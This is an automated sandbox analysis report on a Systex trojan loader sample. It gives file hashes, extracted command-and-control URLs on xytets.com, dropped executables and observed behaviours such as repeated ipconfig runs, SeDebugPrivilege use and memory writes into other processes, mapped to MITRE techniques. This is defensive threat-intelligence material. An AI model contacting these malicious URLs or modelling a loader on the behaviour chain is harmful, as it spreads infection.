systex | 2330a2019431fc9531404a5a8cb38e2ff5643a5ecb7fe7d5fb7fab8fdb0190a5

Analysis

max time kernel
149s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/06/2026, 10:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260629-msph5sds4m
SHA256 2330a2019431fc9531404a5a8cb38e2ff5643a5ecb7fe7d5fb7fab8fdb0190a5
MD5 ffe3ae2cf524220b4f5ed9eb5ed4bac9
SHA1 043c0eb4a96ce188e77039c8d8ba7850098f7608
SHA512 2e1fae3e60861753e3ba3c05a9912b59bb1449e390ac504ca11ba4d257403cc100de87f6fe5d71e72fb286cad3885c4efd629a1231247dbcc09d4f166b8b17de
SSDEEP 3072:7JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:7ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1ED344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
7064	CP.exe
504	qoigbtrgoy.exe
2796	CP.exe
6228	CP.exe
4332	i_qoigbtrgoy.exe
5376	ywtolgeywq.sys
3912	CP.exe
3136	qljdbytqlj.exe
5560	CP.exe
6884	CP.exe
3704	i_qljdbytqlj.exe
1860	tnlidaysqo.sys
5564	CP.exe
1236	qkifdyvqoi.exe
6972	CP.exe
6752	CP.exe
3660	i_qkifdyvqoi.exe
3408	vsnlfdxvqn.sys
5100	CP.exe
2624	sqkicaysnk.exe
3316	CP.exe
5388	CP.exe
5384	i_sqkicaysnk.exe
988	cxvpnhfaxs.sys
2552	CP.exe
6432	nkfcxvpnhf.exe
1084	CP.exe
4588	CP.exe
4088	i_nkfcxvpnhf.exe
7024	zxupmkfcxv.sys
6424	CP.exe
2080	causmkfcxu.exe
8	CP.exe
1968	CP.exe
720	i_causmkfcxu.exe
5092	mhezxrpjhc.sys
5996	CP.exe
1208	hecwupmhec.exe
260	CP.exe
4332	CP.exe
3684	i_hecwupmhec.exe
3108	rmjhezxrpj.sys
5812	CP.exe
4664	romgecwtrp.exe
908	CP.exe
6980	CP.exe
676	i_romgecwtrp.exe
2708	jebwtrljhb.sys
1924	CP.exe
7028	htrljdbwto.exe
3592	CP.exe
1264	CP.exe
6556	i_htrljdbwto.exe
6768	jdbvtolgey.sys
6300	CP.exe
4352	gbytrljdbv.exe
5368	CP.exe
3300	CP.exe
6328	i_gbytrljdbv.exe
3200	ljdbytqljd.sys
5384	CP.exe
6664	jdbywqolfd.exe
904	CP.exe
6448	CP.exe

Drops file in Windows directory 28 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_389375464\data.txt	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\TransparentAdvertisers	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_389375464\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_1942054795\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_1942054795\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Mu\CompatExceptions	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3848_218444353\Sigma\Cryptomining	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwuomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_romgecwtrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecxupmhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwurmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwuomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nkfcxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hecwupmhec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	romgecwtrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkifdyvqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_htrljdbwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkeczurpmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwurmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gbytrljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbywqolfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbywqolfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqnigaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmkfcxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hecwupmhec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gbytrljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkeczurpmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigbtrgoy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qljdbytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkicaysnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkicaysnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdavsnlfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxsqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qljdbytqol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	htrljdbwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqnigaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkecxupmhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qljdbytqol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdavsnlfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ligdyolida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ligdyolida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigbtrgoy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qljdbytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkifdyvqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nkfcxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmkfcxu.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3936	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5000	ipconfig.exe
7048	ipconfig.exe
6988	ipconfig.exe
7128	ipconfig.exe
1924	ipconfig.exe
6988	ipconfig.exe
6856	ipconfig.exe
6852	ipconfig.exe
6320	ipconfig.exe
1580	ipconfig.exe
6480	ipconfig.exe
2592	ipconfig.exe
776	ipconfig.exe
5240	ipconfig.exe
3716	ipconfig.exe
4716	ipconfig.exe
6304	ipconfig.exe
720	ipconfig.exe
6812	ipconfig.exe
1532	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-958335860-2021930596-4099878453-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-958335860-2021930596-4099878453-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-958335860-2021930596-4099878453-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-958335860-2021930596-4099878453-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-958335860-2021930596-4099878453-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-958335860-2021930596-4099878453-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134272034432354578"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-958335860-2021930596-4099878453-1000\{6A09CF43-768B-4141-9990-6CEE07F7B9EC}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
504	qoigbtrgoy.exe
504	qoigbtrgoy.exe
504	qoigbtrgoy.exe
504	qoigbtrgoy.exe
504	qoigbtrgoy.exe
504	qoigbtrgoy.exe
504	qoigbtrgoy.exe
504	qoigbtrgoy.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3848	msedge.exe
3848	msedge.exe
3848	msedge.exe
3848	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4332	i_qoigbtrgoy.exe
Token: SeDebugPrivilege	3704	i_qljdbytqlj.exe
Token: SeDebugPrivilege	3660	i_qkifdyvqoi.exe
Token: SeDebugPrivilege	5384	i_sqkicaysnk.exe
Token: SeDebugPrivilege	4088	i_nkfcxvpnhf.exe
Token: SeDebugPrivilege	720	i_causmkfcxu.exe
Token: SeDebugPrivilege	3684	i_hecwupmhec.exe
Token: SeDebugPrivilege	676	i_romgecwtrp.exe
Token: SeDebugPrivilege	6556	i_htrljdbwto.exe
Token: SeDebugPrivilege	6328	i_gbytrljdbv.exe
Token: SeDebugPrivilege	5752	i_jdbywqolfd.exe
Token: SeDebugPrivilege	5092	i_ysqnigaysq.exe
Token: SeDebugPrivilege	5288	i_fdavsnlfdx.exe
Token: SeDebugPrivilege	6480	i_faxsqkicau.exe
Token: SeDebugPrivilege	3308	i_mkecxupmhf.exe
Token: SeDebugPrivilege	4460	i_mkeczurpmh.exe
Token: SeDebugPrivilege	6780	i_bwurmjecwu.exe
Token: SeDebugPrivilege	4712	i_ebwuomgeyw.exe
Token: SeDebugPrivilege	6068	i_qljdbytqol.exe
Token: SeDebugPrivilege	6948	i_ligdyolida.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3848	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 2884	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 2820 wrote to memory of 2536	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	91
PID 2536 wrote to memory of 3848	2536	iexplore.exe	92
PID 2884 wrote to memory of 2108	2884	iexplore.exe	93
PID 3848 wrote to memory of 7132	3848	msedge.exe	94
PID 3848 wrote to memory of 3936	3848	msedge.exe	95
PID 3848 wrote to memory of 992	3848	msedge.exe	96
PID 3848 wrote to memory of 992	3848	msedge.exe	96
PID 3848 wrote to memory of 992	3848	msedge.exe	96
PID 3848 wrote to memory of 5484	3848	msedge.exe	97
PID 3848 wrote to memory of 5484	3848	msedge.exe	97
PID 3848 wrote to memory of 6116	3848	msedge.exe	99
PID 3848 wrote to memory of 6116	3848	msedge.exe	99
PID 3848 wrote to memory of 6116	3848	msedge.exe	99
PID 3848 wrote to memory of 2516	3848	msedge.exe	100
PID 3848 wrote to memory of 2516	3848	msedge.exe	100
PID 3848 wrote to memory of 2516	3848	msedge.exe	100
PID 3848 wrote to memory of 1552	3848	msedge.exe	101
PID 3848 wrote to memory of 1552	3848	msedge.exe	101
PID 3848 wrote to memory of 1552	3848	msedge.exe	101
PID 3848 wrote to memory of 4748	3848	msedge.exe	102
PID 3848 wrote to memory of 4292	3848	msedge.exe	103
PID 3848 wrote to memory of 4748	3848	msedge.exe	102
PID 3848 wrote to memory of 4292	3848	msedge.exe	103
PID 3848 wrote to memory of 2708	3848	msedge.exe	105
PID 2820 wrote to memory of 7064	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	106
PID 504 wrote to memory of 2796	504	qoigbtrgoy.exe	109
PID 2820 wrote to memory of 6228	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	114
PID 2820 wrote to memory of 3912	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	118
PID 3136 wrote to memory of 5560	3136	qljdbytqlj.exe	120
PID 2820 wrote to memory of 6884	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	123
PID 2820 wrote to memory of 5564	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	127
PID 1236 wrote to memory of 6972	1236	qkifdyvqoi.exe	129
PID 2820 wrote to memory of 6752	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 2820 wrote to memory of 5100	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	136
PID 2624 wrote to memory of 3316	2624	sqkicaysnk.exe	138
PID 2820 wrote to memory of 5388	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 3848 wrote to memory of 4144	3848	msedge.exe	144
PID 3848 wrote to memory of 4060	3848	msedge.exe	145
PID 3848 wrote to memory of 5856	3848	msedge.exe	146
PID 2820 wrote to memory of 2552	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	149
PID 6432 wrote to memory of 1084	6432	nkfcxvpnhf.exe	151
PID 2820 wrote to memory of 4588	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 2820 wrote to memory of 6424	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	158
PID 2080 wrote to memory of 8	2080	causmkfcxu.exe	160
PID 2820 wrote to memory of 1968	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	163
PID 2820 wrote to memory of 5996	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	167
PID 1208 wrote to memory of 260	1208	hecwupmhec.exe	169
PID 2820 wrote to memory of 4332	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	172
PID 2820 wrote to memory of 5812	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	176
PID 4664 wrote to memory of 908	4664	romgecwtrp.exe	178
PID 2820 wrote to memory of 6980	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	181
PID 3848 wrote to memory of 6584	3848	msedge.exe	185
PID 3848 wrote to memory of 6584	3848	msedge.exe	185
PID 2820 wrote to memory of 1924	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	188
PID 7028 wrote to memory of 3592	7028	htrljdbwto.exe	190
PID 2820 wrote to memory of 1264	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	193
PID 2820 wrote to memory of 6300	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	197
PID 4352 wrote to memory of 5368	4352	gbytrljdbv.exe	199
PID 2820 wrote to memory of 3300	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	202
PID 2820 wrote to memory of 5384	2820	2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe	206
PID 6664 wrote to memory of 904	6664	jdbywqolfd.exe	208
PID 3848 wrote to memory of 6464	3848	msedge.exe	211
PID 3848 wrote to memory of 6464	3848	msedge.exe	211

